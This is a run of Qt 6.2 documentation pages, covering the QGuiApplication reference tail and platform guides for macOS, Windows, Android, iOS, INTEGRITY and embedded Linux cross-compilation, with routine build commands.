 **See also** [quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop), [quit](qcoreapplication#quit)(), [exit](qcoreapplication#exit)(), [processEvents](qcoreapplication#processEvents)(), and [QCoreApplication::exec](qcoreapplication#exec)().

 ### 
`[static]` [QObject](qobject#QObject) \*QGuiApplication::focusObject()

 Returns the [QObject](qobject) in currently active window that will be final receiver of events tied to focus, such as key events.

 ### 
`[static]` [QWindow](qwindow) \*QGuiApplication::focusWindow()

 Returns the [QWindow](qwindow) that receives events tied to focus, such as key events.

 ### 
`[static]` [QFont](qfont) QGuiApplication::font()

 Returns the default application font.

 **See also** [setFont](qguiapplication#setFont)().

 ### 
`[static, since 5.14]` [Qt::HighDpiScaleFactorRoundingPolicy](qt#HighDpiScaleFactorRoundingPolicy-enum) QGuiApplication::highDpiScaleFactorRoundingPolicy()

 Returns the high-DPI scale factor rounding policy.

 This function was introduced in Qt 5.14.

 **See also** [setHighDpiScaleFactorRoundingPolicy](qguiapplication#setHighDpiScaleFactorRoundingPolicy)().

 ### 
`[static]` [QInputMethod](qinputmethod) \*QGuiApplication::inputMethod()

 returns the input method.

 The input method returns properties about the state and position of the virtual keyboard. It also provides information about the position of the current focused input element.

 **See also** [QInputMethod](qinputmethod).

 ### 
`[static]` bool QGuiApplication::isLeftToRight()

 Returns `true` if the application's layout direction is [Qt::LeftToRight](qt#LayoutDirection-enum); otherwise returns `false`.

 **See also** [layoutDirection](qguiapplication#layoutDirection-prop)() and [isRightToLeft](qguiapplication#isRightToLeft)().

 ### 
`[static]` bool QGuiApplication::isRightToLeft()

 Returns `true` if the application's layout direction is [Qt::RightToLeft](qt#LayoutDirection-enum); otherwise returns `false`.

 **See also** [layoutDirection](qguiapplication#layoutDirection-prop)() and [isLeftToRight](qguiapplication#isLeftToRight)().

 ### 
`[since 5.0]` bool QGuiApplication::isSavingSession() const

 Returns `true` if the application is currently saving the [session](ipc#session-management); otherwise returns `false`.

 This is `true` when [commitDataRequest](qguiapplication#commitDataRequest)() and [saveStateRequest](qguiapplication#saveStateRequest)() are emitted, but also when the windows are closed afterwards by session management.

 This function was introduced in Qt 5.0.

 **See also** [sessionId](qguiapplication#sessionId)(), [commitDataRequest](qguiapplication#commitDataRequest)(), and [saveStateRequest](qguiapplication#saveStateRequest)().

 ### 
bool QGuiApplication::isSessionRestored() const

 Returns `true` if the application has been restored from an earlier [session](ipc#session-management); otherwise returns `false`.

 **See also** [sessionId](qguiapplication#sessionId)(), [commitDataRequest](qguiapplication#commitDataRequest)(), and [saveStateRequest](qguiapplication#saveStateRequest)().

 ### 
`[static]` [Qt::KeyboardModifiers](qt#KeyboardModifier-enum) QGuiApplication::keyboardModifiers()

 Returns the current state of the modifier keys on the keyboard. The current state is updated synchronously as the event queue is emptied of events that will spontaneously change the keyboard state ([QEvent::KeyPress](qevent#Type-enum) and [QEvent::KeyRelease](qevent#Type-enum) events).

 It should be noted this may not reflect the actual keys held on the input device at the time of calling but rather the modifiers as last reported in one of the above events. If no keys are being held [Qt::NoModifier](qt#KeyboardModifier-enum) is returned.

 **See also** [mouseButtons](qguiapplication#mouseButtons)() and [queryKeyboardModifiers](qguiapplication#queryKeyboardModifiers)().

 ### 
`[static]` [QWindow](qwindow) \*QGuiApplication::modalWindow()

 Returns the most recently shown modal window. If no modal windows are visible, this function returns zero.

 A modal window is a window which has its [modality](qwindow#modality-prop) property set to [Qt::WindowModal](qt#WindowModality-enum) or [Qt::ApplicationModal](qt#WindowModality-enum). A modal window must be closed before the user can continue with other parts of the program.

 Modal window are organized in a stack. This function returns the modal window at the top of the stack.

 **See also** [Qt::WindowModality](qt#WindowModality-enum) and [QWindow::setModality](qwindow#modality-prop)().

 ### 
`[static]` [Qt::MouseButtons](qt#MouseButton-enum) QGuiApplication::mouseButtons()

 Returns the current state of the buttons on the mouse. The current state is updated synchronously as the event queue is emptied of events that will spontaneously change the mouse state ([QEvent::MouseButtonPress](qevent#Type-enum) and [QEvent::MouseButtonRelease](qevent#Type-enum) events).

 It should be noted this may not reflect the actual buttons held on the input device at the time of calling but rather the mouse buttons as last reported in one of the above events. If no mouse buttons are being held [Qt::NoButton](qt#MouseButton-enum) is returned.

 **See also** [keyboardModifiers](qguiapplication#keyboardModifiers)().

 ### template <typename QNativeInterface> QNativeInterface \*QGuiApplication::nativeInterface() const

 Returns a native interface of the given type for the application.

 This function provides access to platform specific functionality of [QGuiApplication](qguiapplication), as defined in the [QNativeInterface](qnativeinterface-sub-qtgui) namespace:

 

|  |  |
| --- | --- |
| [QNativeInterface::QX11Application](qnativeinterface-qx11application) | Native interface to an X11 application |

 If the requested interface is not available a `nullptr` is returned.

 ### 
`[override virtual]` bool QGuiApplication::notify([QObject](qobject#QObject) \**object*, [QEvent](qevent) \**event*)

 Reimplements: [QCoreApplication::notify](qcoreapplication#notify)(QObject \*receiver, QEvent \*event).

 ### 
`[static]` [QCursor](qcursor) \*QGuiApplication::overrideCursor()

 Returns the active application override cursor.

 This function returns `nullptr` if no application cursor has been defined (i.e. the internal cursor stack is empty).

 **See also** [setOverrideCursor](qguiapplication#setOverrideCursor)() and [restoreOverrideCursor](qguiapplication#restoreOverrideCursor)().

 ### 
`[static]` [QPalette](qpalette) QGuiApplication::palette()

 Returns the current application palette.

 Roles that have not been explicitly set will reflect the system's platform theme.

 **See also** [setPalette](qguiapplication#setPalette)().

 ### 
`[static]` [Qt::KeyboardModifiers](qt#KeyboardModifier-enum) QGuiApplication::queryKeyboardModifiers()

 Queries and returns the state of the modifier keys on the keyboard. Unlike [keyboardModifiers](qguiapplication#keyboardModifiers), this method returns the actual keys held on the input device at the time of calling the method.

 It does not rely on the keypress events having been received by this process, which makes it possible to check the modifiers while moving a window, for instance. Note that in most cases, you should use [keyboardModifiers](qguiapplication#keyboardModifiers)(), which is faster and more accurate since it contains the state of the modifiers as they were when the currently processed event was received.

 **See also** [keyboardModifiers](qguiapplication#keyboardModifiers)().

 ### 
`[static]` void QGuiApplication::restoreOverrideCursor()

 Undoes the last [setOverrideCursor](qguiapplication#setOverrideCursor)().

 If [setOverrideCursor](qguiapplication#setOverrideCursor)() has been called twice, calling restoreOverrideCursor() will activate the first cursor set. Calling this function a second time restores the original widgets' cursors.

 **See also** [setOverrideCursor](qguiapplication#setOverrideCursor)() and [overrideCursor](qguiapplication#overrideCursor)().

 ### 
`[static, since 5.10]` [QScreen](qscreen) \*QGuiApplication::screenAt(const [QPoint](qpoint) &*point*)

 Returns the screen at *point*, or `nullptr` if outside of any screen.

 The *point* is in relation to the virtualGeometry() of each set of virtual siblings. If the point maps to more than one set of virtual siblings the first match is returned. If you wish to search only the virtual desktop siblings of a known screen (for example siblings of the screen of your application window `QWidget::windowHandle()->screen()`), use [QScreen::virtualSiblingAt](qscreen#virtualSiblingAt)().

 This function was introduced in Qt 5.10.

 ### 
`[static]` [QList](qlist)<[QScreen](qscreen) \*> QGuiApplication::screens()

 Returns a list of all the screens associated with the windowing system the application is connected to.

 ### 
[QString](qstring) QGuiApplication::sessionId() const

 Returns the current [session's](ipc#session-management) identifier.

 If the application has been restored from an earlier session, this identifier is the same as it was in that previous session. The session identifier is guaranteed to be unique both for different applications and for different instances of the same application.

 **See also** [isSessionRestored](qguiapplication#isSessionRestored)(), [sessionKey](qguiapplication#sessionKey)(), [commitDataRequest](qguiapplication#commitDataRequest)(), and [saveStateRequest](qguiapplication#saveStateRequest)().

 ### 
[QString](qstring) QGuiApplication::sessionKey() const

 Returns the session key in the current [session](ipc#session-management).

 If the application has been restored from an earlier session, this key is the same as it was when the previous session ended.

 The session key changes every time the session is saved. If the shutdown process is cancelled, another session key will be used when shutting down again.

 **See also** [isSessionRestored](qguiapplication#isSessionRestored)(), [sessionId](qguiapplication#sessionId)(), [commitDataRequest](qguiapplication#commitDataRequest)(), and [saveStateRequest](qguiapplication#saveStateRequest)().

 ### 
`[static]` void QGuiApplication::setDesktopSettingsAware(bool *on*)

 Sets whether Qt should use the system's standard colors, fonts, etc., to *on*. By default, this is `true`.

 This function must be called before creating the [QGuiApplication](qguiapplication) object, like this:

 
```
int main(int argc, char *argv[])
{
    QApplication::setDesktopSettingsAware(false);
    QApplication app(argc, argv);
    // ...
    return app.exec();
}
```
 **See also** [desktopSettingsAware](qguiapplication#desktopSettingsAware)().

 ### 
`[static]` void QGuiApplication::setFont(const [QFont](qfont) &*font*)

 Changes the default application font to *font*.

 **See also** [font](qguiapplication#font)().

 ### 
`[static, since 5.14]` void QGuiApplication::setHighDpiScaleFactorRoundingPolicy([Qt::HighDpiScaleFactorRoundingPolicy](qt#HighDpiScaleFactorRoundingPolicy-enum) *policy*)

 Sets the high-DPI scale factor rounding policy for the application. The *policy* decides how non-integer scale factors (such as Windows 150%) are handled.

 The two principal options are whether fractional scale factors should be rounded to an integer or not. Keeping the scale factor as-is will make the user interface size match the OS setting exactly, but may cause painting errors, for example with the Windows style.

 If rounding is wanted, then which type of rounding should be decided next. Mathematically correct rounding is supported but may not give the best visual results: Consider if you want to render 1.5x as 1x ("small UI") or as 2x ("large UI"). See the [Qt::HighDpiScaleFactorRoundingPolicy](qt#HighDpiScaleFactorRoundingPolicy-enum) enum for a complete list of all options.

 This function must be called before creating the application object. The [QGuiApplication::highDpiScaleFactorRoundingPolicy](qguiapplication#highDpiScaleFactorRoundingPolicy)() accessor will reflect the environment, if set.

 The default value is [Qt::HighDpiScaleFactorRoundingPolicy::PassThrough](qt#HighDpiScaleFactorRoundingPolicy-enum).

 This function was introduced in Qt 5.14.

 **See also** [highDpiScaleFactorRoundingPolicy](qguiapplication#highDpiScaleFactorRoundingPolicy)().

 ### 
`[static]` void QGuiApplication::setOverrideCursor(const [QCursor](qcursor) &*cursor*)

 Sets the application override cursor to *cursor*.

 Application override cursors are intended for showing the user that the application is in a special state, for example during an operation that might take some time.

 This cursor will be displayed in all the application's widgets until [restoreOverrideCursor](qguiapplication#restoreOverrideCursor)() or another setOverrideCursor() is called.

 Application cursors are stored on an internal stack. setOverrideCursor() pushes the cursor onto the stack, and [restoreOverrideCursor](qguiapplication#restoreOverrideCursor)() pops the active cursor off the stack. [changeOverrideCursor](qguiapplication#changeOverrideCursor)() changes the currently active application override cursor.

 Every setOverrideCursor() must eventually be followed by a corresponding [restoreOverrideCursor](qguiapplication#restoreOverrideCursor)(), otherwise the stack will never be emptied.

 Example:

 
```
QGuiApplication::setOverrideCursor(QCursor(Qt::WaitCursor));
calculateHugeMandelbrot();              // lunch time...
QGuiApplication::restoreOverrideCursor();
```
 **See also** [overrideCursor](qguiapplication#overrideCursor)(), [restoreOverrideCursor](qguiapplication#restoreOverrideCursor)(), [changeOverrideCursor](qguiapplication#changeOverrideCursor)(), and [QWidget::setCursor](qwidget#cursor-prop)().

 ### 
`[static]` void QGuiApplication::setPalette(const [QPalette](qpalette) &*pal*)

 Changes the application palette to *pal*.

 The color roles from this palette are combined with the system's platform theme to form the application's final palette.

 **See also** [palette](qguiapplication#palette)().

 ### 
`[static]` [QStyleHints](qstylehints) \*QGuiApplication::styleHints()

 Returns the application's style hints.

 The style hints encapsulate a set of platform dependent properties such as double click intervals, full width selection and others.

 The hints can be used to integrate tighter with the underlying platform.

 **See also** [QStyleHints](qstylehints).

 ### 
`[static, since 5.2]` void QGuiApplication::sync()

 Function that can be used to sync Qt state with the Window Systems state.

 This function will first empty Qts events by calling [QCoreApplication::processEvents](qcoreapplication#processEvents)(), then the platform plugin will sync up with the windowsystem, and finally Qts events will be delived by another call to [QCoreApplication::processEvents](qcoreapplication#processEvents)();

 This function is timeconsuming and its use is discouraged.

 This function was introduced in Qt 5.2.

 ### 
`[static]` [QWindow](qwindow) \*QGuiApplication::topLevelAt(const [QPoint](qpoint) &*pos*)

 Returns the top level window at the given position *pos*, if any.

 ### 
`[static]` QWindowList QGuiApplication::topLevelWindows()

 Returns a list of the top-level windows in the application.

 **See also** [allWindows](qguiapplication#allWindows)().

  Macro Documentation
-------------------

 ### 
qGuiApp

 A global pointer referring to the unique application object. Only valid for use when that object is a [QGuiApplication](qguiapplication).

 **See also** [QCoreApplication::instance](qcoreapplication#instance)() and [qApp](qapplication#qApp).

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qguiapplication.html>

Qt for macOS
============

 macOS (previously known as OS X or Mac OS X) is Apple's operating system for the Mac line of computers. It's a UNIX platform, based on the Darwin kernel, and behaves largely similar to other UNIX-like platforms. The main difference is that X11 is not used as the windowing system. Instead, macOS uses its own native windowing system that is accessible through the Cocoa API.

 To download and install Qt for macOS, follow the instructions on the [Getting Started with Qt](gettingstarted) page. To build Qt from source, see [Qt for macOS - Building from Source](https://doc.qt.io/qt-6.2/macos-building.html).

 Supported Versions
------------------

 When talking about version support on macOS, it's important to distinguish between the [build environment](macos#build-environment); the platform you're building on or with, and the [target platforms](macos#target-platforms); the platforms you are building for. The following macOS versions are supported.

 

| Target Platform | Architecture | Build Environment |
| --- | --- | --- |
| macOS 10.14, 10.15, 11 | `x86_64`, `x86_64h`, and `arm64` | Xcode 12 (11 SDK) |

 ### Build Environment

 The build environment on macOS is defined *entirely* by the Xcode version used to build your application. Xcode contains both a toolchain (compiler, linker, and other tools), and a macOS platform-SDK (headers and libraries). Together these define how your application is built.

  **Note:** The version of macOS that you are *running* Xcode on does not matter. As long as Apple ships a given Xcode version that runs on your operating system, the build environment will be defined by that Xcode version.

  Xcode can be downloaded from Apple's [developer website](https://developer.apple.com/download/) (including older versions of Xcode).

 You should always be using the latest Xcode available from Apple that has been tested with the Qt version you are using. By always building against the latest available platform SDK, you ensure that Qt can take advantage of new features introduced in recent versions of macOS.

 Once installed, choosing an Xcode installation is done using the `xcode-select` tool.

 
```
$ sudo xcode-select --switch /Applications/Xcode.app
```
 You can inspect the globally selected Xcode installation using the same tool.

 
```
$ xcode-select -print-path
/Applications/Xcode.app/Contents/Developer
```
 The `xcrun` command can then be used to find a particular tool in the toolchain.

 
```
$ xcrun -sdk macosx -find clang
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang
```
 or show the platform SDK path used when building.

 
```
$ xcrun -sdk macosx --show-sdk-path
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk
```
 ### Target Platforms

 Building for macOS utilizes a technique called *weak linking* that allows you to build your application against the headers and libraries of the latest platform SDK, while still allowing your application to be deployed to macOS versions lower than the SDK version. When the binary is run on a macOS version lower than the SDK it was built with, Qt will check at runtime whether or not a platform feature is available before utilizing it.

 In theory this would allow running your application on every single macOS version released, but for practical (and technical) reasons there is a lower limit to this range, known as the *deployment target* of your application. If the binary is launched on a macOS version below the deployment target macOS or Qt will give an error message and the application will not run.

 Qt expresses the deployment target via the [`CMAKE_OSX_DEPLOYMENT_TARGET`](https://cmake.org/cmake/help/latest/variable/CMAKE_OSX_DEPLOYMENT_TARGET.html) or `QMAKE_MACOSX_DEPLOYMENT_TARGET` variables, which has a default value set by Qt. You only need to change this default if you know that your own code uses macOS APIs that are only available in a particular version higher than what Qt defaults to. For example, with CMake:

 
```
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.15")
```
 or with qmake:

 
```
QMAKE_MACOSX_DEPLOYMENT_TARGET = 10.15
```
  **Note:** You should not lower the deployment target beyond the default value set by Qt. Doing so will likely lead to crashes at runtime if the binary is then deployed to a macOS version lower than what Qt expected to run on.

  For more information about SDK-based development on macOS, see Apple's [developer documentation](https://developer.apple.com/library/mac/#documentation/DeveloperTools/Conceptual/cross_development/Introduction/Introduction.html).

 #### Opting out of macOS behavior changes

 One caveat to using the latest Xcode version and SDK to build your application is that macOS's system frameworks will sometimes decide whether or not to enable behavior changes based on the SDK you built your application with.

 For example, when dark-mode was introduced in macOS 10.14 Mojave, macOS would only treat applications built against the 10.14 SDK as supporting dark-mode, and would leave applications built against earlier SDKs with the default light mode look. This technique allows Apple to ensure that binaries built long before the new SDK and operating system was released will still continue to run without regressions on new macOS releases.

 Building against an older SDK is a last-resort solution, and should only be applied if your application has no other ways of working around the problem.

 ### Architectures

 By default, Qt will build for the architecture of your development machine - either `x86_64`, or `arm64` if you are on an Apple Silicon Mac.

 To build for other architectures you can use the [`CMAKE_OSX_ARCHITECTURES`](https://cmake.org/cmake/help/latest/variable/CMAKE_OSX_ARCHITECTURES.html) and `QMAKE_APPLE_DEVICE_ARCHS` variables in your project files or on the command line. This allows you to both cross-compile to a different architecture, and to build universal (multi-architecture) binaries. For example, to build your application for both `x86_64` and `arm64` with CMake:

 
```
cmake ~/src/myapp -DCMAKE_OSX_ARCHITECTURES="x86_64;arm64"
```
 or with qmake:

 
```
qmake ~/src/myapp QMAKE_APPLE_DEVICE_ARCHS="x86_64 arm64"
```
 When specifying the architectures in a project file they should not be quoted, e.g.:

 
```
TEMPLATE = app
SOURCES = main.cpp
QMAKE_APPLE_DEVICE_ARCHS = x86_64 arm64
```
 Generating Xcode Project Files
------------------------------

 By default, CMake and qmake generates project files in Makefile format. If you prefer to build and debug your application from within Xcode, you can request that an Xcode project is generated instead:

 
```
cmake ~/src/myapp -GXcode
```
 or with qmake:

 
```
qmake ~/src/myapp -spec macx-xcode
```
 Deploying Applications on macOS
-------------------------------

 macOS applications are typically deployed as self-contained application bundles. The application bundle contains the application executable as well as dependencies such as the Qt libraries, plugins, translations and other resources you may need. Third party libraries like Qt are normally not installed system-wide; each application provides its own copy.

 To build your application as an application bundle with CMake, set the [`MACOSX_BUNDLE`](https://cmake.org/cmake/help/latest/prop_tgt/MACOSX_BUNDLE.html) property on your executable target. With qmake, bundles are the default. Set `CONFIG -= app_bundle` in your project file (`.pro`) to disable it.

 A common way to distribute applications is to provide a compressed disk image (.dmg file) that the user can mount in Finder. The deployment tool, `macdeployqt` (available from the macOS installers), can be used to create the self-contained bundles, and optionally also create a .dmg archive.

 Applications can also be distributed through the Mac App Store. macdeployqt (bin/macdeployqt) can be used as a starting point for app store deployment. To ensure that Qt complies with the app store sandbox rules, Qt must be configured with the `-feature-appstore-compliant` argument.

 For details about deployment on macOS, see [Qt for macOS - Deployment](https://doc.qt.io/qt-6.2/macos-deployment.html).

  **Note:** For selling applications in the macOS App Store, special rules apply. In order to pass validation, the application must verify the existence of a valid receipt before executing any code. Since this is a copy protection mechanism, steps should be taken to avoid common patterns and obfuscate the code that validates the receipt as much as possible. Thus, this cannot be automated by Qt, but requires some platform-specific code written specifically for the application itself. More information can be found in [Apple's documentation](https://developer.apple.com/library/archive/releasenotes/General/ValidateAppStoreReceipt/Chapters/ValidateLocally.html).

  macOS Issues
------------

 The page below covers specific issues and recommendations for creating macOS applications.

 * [Qt for macOS - Specific Issues](macos-issues)

 Where to Go from Here
---------------------

 We invite you to explore the rest of Qt. We prepared overviews to help you decide which APIs to use and our examples demonstrate how to use our API.

 * [Qt Overviews](https://doc.qt.io/qt-6.2/overviews-main.html) - list of topics about application development
* [Examples and Tutorials](https://doc.qt.io/qt-6.2/qtexamplesandtutorials.html) - code samples and tutorials
* [Qt Reference Pages](https://doc.qt.io/qt-6.2/reference-overview.html) - a listing of C++ and QML APIs

 Qt's vibrant and active community site, <http://qt.io> houses a wiki, a forum, and additional learning guides and presentations.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/macos.html>

Qt for Windows
==============

 Qt's support for different Windows platforms is extensive and mature.

 To download and install Qt for Windows, follow the instructions on the [Getting Started with Qt](gettingstarted) page.

 Supported Configurations
------------------------

 The following Windows configurations are supported in Qt 6.2:

 

| Operating System | Architecture | Compiler |
| --- | --- | --- |
| Windows 10 (1809 or later) | `x86_64` | MSVC 2019, MinGW 11.2 |  |
| Windows on ARM | `arm64` | MSVC 2019 | Technology Preview |

 Building from Source
--------------------

 For details on how to build Qt itself from sources, see [Qt for Windows - Building from Source](https://doc.qt.io/qt-6.2/windows-building.html).

 Deployment and Other Issues
---------------------------

 The pages below covers specific issues and recommendations for creating Windows applications.

 * [Qt for Windows - Deployment](https://doc.qt.io/qt-6.2/windows-deployment.html)
* [Qt for Windows - Graphics Acceleration](windows-graphics)
* [Qt for Windows - Specific Issues](windows-issues)

 Where to Go from Here
---------------------

 We invite you to explore the rest of Qt. We prepared overviews which help you decide which APIs to use and our examples demonstrate how to use our API.

 * [Qt Overviews](https://doc.qt.io/qt-6.2/overviews-main.html) - list of topics about application development
* [Examples and Tutorials](https://doc.qt.io/qt-6.2/qtexamplesandtutorials.html) - code samples and tutorials
* [Qt Reference Pages](https://doc.qt.io/qt-6.2/reference-overview.html) - a listing of C++ and QML APIs
* [ActiveX in Qt](qt-activex)

 Qt's vibrant and active community site, <http://qt.io> houses a wiki, a forum, and additional learning guides and presentations.

 ### Visual Studio Tools

 The [Qt VS Tools](http://doc.qt.io/qtvstools/index.html) allows programmers to create, build, debug and run Qt applications from within non-Express versions of Microsoft Visual Studio 2013 and later. The add-in contains project wizards, Qt project import/export support, integrated Qt resource manager and automated build setup for the Qt Meta-Object Compiler, User Interface Compiler, and Resource Compiler.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/windows.html>

Qt for Android
==============

 Qt for Android enables you to run Qt applications on Android devices.

 For Qt modules that support android targets see: [All Supported Qt Modules](https://doc.qt.io/qt-6.2/qtmodules.html).

 The following configurations are supported:

 

| Distribution | Architecture | Compiler | Notes |
| --- | --- | --- | --- |
| Android 6.0 or later (API level 23 or higher) | `armv7a`, `x86`, `arm64-v8`, and `x86_64` | Clang 11.0.5 (NDK r22b) as provided by Google, MinGW 11.2 |  |

 Here is what you can do with Qt for Android:

 * Run [Widget-based](qtwidgets-index) and [QML](qmlapplications) applications on a device or an emulator.
* Support for the [Material Style](qtquickcontrols2-styles#material-style) with Qt Quick Controls.
* Handle [Multimedia](qtmultimedia-index) content.
* Get [sensor](qtsensors-index) readings.
* Retrieve positioning data using satellite or network information.
* Connect and exchange data with [Bluetooth](qtbluetooth-index) and [NFC](qtnfc-index)-enabled devices.
* Develop secure applications using OpenSSL library.
* Create [Android Services](android-services).
* Create and deploy Application Package (APK) and Android App Bundle (AAB) packages using Qt Creator.

 See [Getting Started with Qt for Android](android-getting-started).

 The following topics provide more details about Qt for Android: 




|  |  |
| --- | --- |
| [Android GNU C++ Run-time Licensing](https://doc.qt.io/qt-6.2/android-runtime-licensing-notes.html) | Provides additional information about the licensing of run-time dependencies of Qt for Android |
| [Android Platform Notes](android-platform-notes) | Information particular to building and running Qt applications on Android. |
| [Android Services](android-services) | Provides information about Android Services support in Qt. |
| [Deploying an Application on Android](https://doc.qt.io/qt-6.2/deployment-android.html) | The technical steps required to deploy a Qt application on Android. |
| [Getting Started with Qt for Android](android-getting-started) | Provides instructions to install and configure your development environment. |
| [Porting to Android](https://doc.qt.io/qt-6.2/porting-to-android.html) | Provides instructions to port your existing Qt application to Android. |
| [Publishing to Google Play](android-publishing-to-googleplay) | Provides instructions to prepare your application for publishing. |
| [Qt Android Manifest File Configuration](android-manifest-file-configuration) | Provides details on the AndroidManifest.xml configuration |
| [Qt for Android - Building from Source](https://doc.qt.io/qt-6.2/android-building.html) | How to configure and build Qt for Android directly from source. |
| [Qt for Android Examples](https://doc.qt.io/qt-6.2/examples-android.html) | A list of selected Qt Examples for Android. |
| [Third-party Android Libraries](https://doc.qt.io/qt-6.2/android-3rdparty-libs.html) | Instructions on including third-party Android libraries in an application. |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/android.html>

Qt for iOS
==========

 Qt's iOS port allows you to run Qt applications on iOS devices, such as iPhones, iPads, and iPod Touches.

 Supported Configurations
------------------------

 The following configurations are supported.

 

| Target Platform | Architecture | Build Environment | Notes |
| --- | --- | --- | --- |
| iOS 13, iOS 14, iOS 15 | `armv8` (`arm64`) | Xcode 12 (iOS 14 SDK), **Xcode 13** (iOS 15 SDK) |  |

 Getting Started
---------------

 Development and deployment is done using Xcode. The supported workflow is to maintain a `.pro` file based project, which generates an Xcode project. Building and deploying can be done using either Xcode or Qt Creator. We will look at that in more detail in the next section.

 The minimum deployment target for Qt applications is specified in [Supported Platforms](supported-platforms).

 ### Setting Up the Development Environment

 You can download the Qt installers from the [Downloads](http://qt.io/download) page. For more information, see [Getting Started with Qt](gettingstarted).

 Before installing Qt, you first need to install Xcode. You will find it in the Mac App Store [here](http://itunes.apple.com/us/app/xcode/id497799835?ls=1&mt=12).

  **Note:** As recommended by Apple, you should always use the latest Xcode version when building your applications for the App Store. In practice this means you also need the latest version of macOS to develop apps with Qt, due to Xcode's system requirements.

  For running Qt applications on your Mac or in the simulator that comes with Xcode, this is all you need. However, for running applications on a mobile device and/or publishing your applications in the App Store, you must join the [Apple Developer Program](https://developer.apple.com/programs/), and set up developer certificates and provisioning profiles. The easiest solution is to use a profile that takes any App ID (a `*`).

 Before building any Qt applications, you should test that Xcode is set up correctly, for example, by running one of the standard Xcode application templates on your device.

 ### Building Applications From the Command Line

 As mentioned previously, the development workflow consists of maintaining a normal `.pro` file project and exporting it to Xcode.

 Here is how to build a project with Xcode:

 * run qmake (if you have not done so previously)
* open the resulting `.xcodeproj` file in Xcode
* build the application in Xcode

 Note that you must re-import the project if its setup changes, for example, when adding or removing source files.

 ### Building Applications with Qt Creator

 You can find information on how to set up and run Apple mobile device applications in Qt Creator's manual:

 * [Connecting Apple Mobile Devices](https://doc.qt.io/qtcreator/creator-developing-ios.html).

 As mentioned previously, you must have Xcode installed.

 Using Objective-C Code in Qt Applications
-----------------------------------------

 Clang, the compiler used for applications on Apple Platforms, allows mixing C++ and Objective-C code. To enable this mode, suffix your source files with `.mm`, and add them to `OBJECTIVE_SOURCES` instead of `SOURCES` in the `.pro` file. This makes it possible to use frameworks from Apple's Developer Library in Qt applications. Most useful is perhaps the possibility for adding In-App Purchasing with the StoreKit framework.

 Examples for iOS
----------------

 In Qt Creator, tested examples on iOS can be looked up. Use the `ios` keyword to search for examples in the Qt Creator Welcome mode. Note that some examples may have limited functionality.

 For a list of examples known to work on iOS devices, visit [Qt for iOS Examples](https://doc.qt.io/qt-6.2/examples-ios.html).

 Related Topics
--------------

 The following topics provide more details about Qt for iOS:

 * [Porting a Qt Quick Application](https://doc.qt.io/qt-6.2/porting-to-ios.html)
* [Platform Notes](ios-platform-notes)
* [Qt for iOS - Building from Source](https://doc.qt.io/qt-6.2/ios-building-from-source.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/ios.html>

Qt for INTEGRITY
================

 From Qt 5.9 onwards, the Green Hills Software [INTEGRITY](http://www.ghs.com/products/rtos/integrity.html) Real-Time Operating System (RTOS) is a supported platform.

 The INTEGRITY RTOS is widely used in systems where safety and security are critical. Especially in the automotive industry, both Qt and the INTEGRITY RTOS can be used in conjunction with the instrument clusters and infotainment systems.

 With Qt for INTEGRITY you can build and develop applications for the INTEGRITY RTOS. The development environment includes your target device and Qt sources that you need to build for your target device. See [Supported Development Hosts and Target Boards](integrity#supported-development-hosts-and-target-boards) for detailed information about the supported development environment.

 Qt for INTEGRITY has a tutorial that helps you learn how to:

 * Set up a development environment for the Qualcomm Snapdragon 8155P board
* Build an application
* Prepare the Qualcomm Snapdragon 8155P board to run your application

 See [Monolith Project Tutorial](https://doc.qt.io/qt-6.2/integrity-monolith-project-tutorial.html).

 Supported Qt Modules
--------------------

 All essential modules are supported except [Qt D-Bus](qtdbus-index).

 For add-on modules see [all Qt Modules](https://doc.qt.io/qt-6.2/qtmodules.html).

 Supported Development Hosts and Target Boards
---------------------------------------------

 Qt for INTEGRITY should be able to be built on the following hosts:

 * 64-bit Linux distributions

  **Note:** Only Ubuntu 20.04 64 bit is supported by Qt at this time.

   **Note:** See the GHS Compiler manual for other information regarding GHS Compiler compatibility with development hosts.

  Qt for INTEGRITY supports building and developing applications for the following target boards:

 * [Qualcomm Snapdragon 8155P](https://www.lantronix.com/products/sa8155p-automotive-development-platform)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/integrity.html>

Configure an Embedded Linux Device
==================================

 Cross-compiling Qt for a given device requires a **toolchain** and a **sysroot**. The toolchain is expected to contain a version of gcc, or another compiler, and associated tools built for cross-compilation. This means these tools run on the **host** system (typically x64), while producing binaries for the target architecture (for example, 32 or 64 bit ARM). The sysroot contains the headers and libraries for the target system, allowing compiling and linking libraries and applications on the host.

 This overview page describes to the generic approach, where no distribution building systems, such as Yocto or Buildroot, are used. It is always possible to cross-compile and deploy Qt onto a device as long as a suitable toolchain and sysroot are available.

  **Warning:** This page can only provide a generic, high-level overview. There are a vast number of details that can vary depending on the build environment, the target device, and the toolchain. When in doubt, refer to your system integrator. For pre-built reference images and SDKs, refer to the [Qt for Device Creation](http://doc.qt.io/QtForDeviceCreation) offering.

  When running Qt-based applications without a windowing system, such as X11 or Wayland, some devices require vendor-specific adaptation code for EGL and OpenGL ES support. This is provided in form of backends for the EGLFS platform plugin. This is not relevant for non-accelerated platforms, such as those that use the LinuxFB platform plugin, which is meant for software-based rendering only. As of Qt 6, many embedded systems use [drm](https://en.wikipedia.org/wiki/Direct_Rendering_Manager) to set a video mode, manage display connectors and graphical surfaces. For example, an NXP i.MX8-based device or a Raspberry Pi 4 will use this approach, and therefore the most commonly used backend for EGLFS is **eglfs\_kms**, which enables EGL and OpenGL ES based rendering with `drm`, using `gbm` for surface and buffer management. Older devices, such as the NXP i.MX6, will continue to use the legacy, GPU vendor-specific approach to connect EGL window surfaces to the framebuffer, using dedicated eglfs backends, such as `eglfs_viv`.

